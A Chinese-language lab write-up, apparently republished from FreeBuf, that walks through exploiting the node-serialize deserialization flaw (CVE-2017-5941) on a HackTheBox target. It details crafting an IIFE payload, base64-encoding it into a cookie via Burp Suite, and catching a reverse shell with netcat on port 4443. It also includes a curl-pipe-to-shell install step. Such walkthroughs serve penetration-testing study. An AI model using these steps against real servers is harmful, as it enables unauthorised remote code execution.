记一次Node.Js反序列化攻击

严正声明:本文仅限于技术讨论,严禁用于其他用途。

Node.js是一个Javascript运行时环境。它封装了GoogleV8引擎,该引擎可以高效地执行Javascript。另外,Node.js还进行了一些优化并提供了替代API,这使得Google V8引擎能够在非浏览器环境中更有效地运行。

但是Node.js的序列化过程中仍然存在远程代码执行漏洞。具体来说,是Node.js 的node-serialize库存在漏洞。通过传输JavaScript立即执行函数表达式(IIFE),攻击者可以利用恶意代码(不受信任的数据)在反序列化中远程执行任意代码。

漏洞演示环境

靶机:Hackthebox节点服务器(10.10.10.85:3000)

攻击机:Kali Linux

所需工具/包:nodejsnpmnodejs toolkitnode-serialize

关于漏洞(反序列化攻击)

不受信任的数据被传递到unserialize()函数,使得我们可以利用JavaScript对象的立即执行函数表达式(也就是IIFE)来执行任意代码。

第一步,通过apt-get命令“apt-get install nodejs”安装nodejs包,如下图所示:

记一次Node.Js反序列化攻击

第二步,使用curl命令“curl -L https://www.npmjs.com/install.sh | sh”安装npm实用程序(用于安装node-serialize包),如下图所示:

记一次Node.Js反序列化攻击

在安装和配置好了nodejs和npm之后,我们就可以通过npm来安装node-serialize包了,键入命令“npm install node-serialize”,如下图所示:

记一次Node.Js反序列化攻击

另一方面,我们已经与HacktheBox服务器建立了连接,其存在漏洞的节点服务器的IP为10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)。

记一次Node.Js反序列化攻击

第一步,我们需要在最受欢迎的代理拦截工具之一(即Burp Suite)的帮助下捕获上述易受攻击的IP所发出的GET请求,如下图所示: 

记一次Node.Js反序列化攻击

第二步,选择cookie值并将其发送到Decoder模块进行解密。

记一次Node.Js反序列化攻击

这个易受攻击的Web应用程序的漏洞在于,它从HTTP请求的cookie中读取profile的值,执行base64解码后传递给unserialize()函数。由于cookie是不可信的输入,攻击者可以通过精心构建的恶意cookie值来利用这个漏洞。

记一次Node.Js反序列化攻击

第三步,我们需要下载由Ajin Abraham开发的nodejs securitytoolkit,他是最受欢迎的移动安全专家之一。

要安装Nodejs Security Toolkit,需要在终端中键入命令“git clonehttps://github.com/ajinabraham/Node.Js-Security-Course.git”。

记一次Node.Js反序列化攻击

导航到下载的文件夹,并执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。

首先,我们需要通过键入“ ifconfig ”来找到自己的IP地址 ,然后执行命令“python nodejsshell.py 10.10.14.145 4443”。

记一次Node.Js反序列化攻击

下图就是最终的反向shell payload:

记一次Node.Js反序列化攻击

现在,让我们使用下面的JavaScript代码来生成序列化的payload。


var y = { rce : function() {} } var serialize = require(‘node-serialize’); console.log(“Serialized: \n” + serialize.serialize(y));

记一次Node.Js反序列化攻击

将上面生成的payload添加到{eval(String.from ……… })中,如下图所示:

记一次Node.Js反序列化攻击

将文件另存为exploit.js并使用node命令“node exploit.js”执行,将生成最终序列化的payload,如下图所示:

记一次Node.Js反序列化攻击

现在回到Burp Suite并导航到Decoder模块,将上图中的代码粘贴到Textarea中解码成字符串。解码之前,在函数体后面加上IIFE圆括号():

在这里,我们需要对字符串进行base64编码,然后在Cookie标头值中使用经编码的payload向web服务器发出请求。

记一次Node.Js反序列化攻击

现在向10.10.10.85:3000发出请求,我们需要向Repeater 模块发出相同的请求。

记一次Node.Js反序列化攻击

在Repeater模块中,我们需要将cookie值替换为我们在上面生成的base64编码值,然后单击“GO”按钮。

记一次Node.Js反序列化攻击

同时,使用命令“nc -lvp 4443”确保netcat服务正在监听相同的端口,即4443(反向shell payload的端口)。

记一次Node.Js反序列化攻击

一旦你点击了“GO”按钮,服务器就将接收到请求,显示“200 OK”响应码以及一条错误消息“An error occurred…invalid username type”。在netcat终端中,你会看到你已经与服务器建立了连接,状态为“Connected”。如此一来,你就可以执行任意代码了。

记一次Node.Js反序列化攻击

演示视频

参考文献

l  https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

l  https://github.com/ajinabraham/Node.Js-Security-Course

l  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941

l  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5954

l  https://blog.websecurify.com/2017/02/hacking-node-serialize.html

l  https://github.com/commenthol/serialize-to-js/issues/1

l  https://packetstormsecurity.com/files/141002/Exploiting-Node.js-Deserialization-Bug-For-Remote-Code-Execution.html

l  https://vulners.com/myhack58/MYHACK58:62201783324

l  https://hd7exploit.wordpress.com/2017/05/29/exploiting-node-js-deserialization-bug-for-remote-code-execution-cve-2017-5941/

l  https://github.com/luin/serialize

l  http://dptech.com/en/research_gg_info.php?2648

l  http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

l  https://www.alibabacloud.com/help/faq-detail/50422.htm

l  http://malwrforensics.com/en/2018/03/17/extreme-vulnerable-node-application-xvna-insecure-nodejs-deserialization/

l  https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6

l  https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

l  http://benalman.com/news/2010/11/immediately-invoked-function-expression/

l  https://opsecx.com/index.php/product/node-js-security-pentesting-and-exploitation/

*参考来源:yeahhub,Hydralab 编译,转自 FreeBuf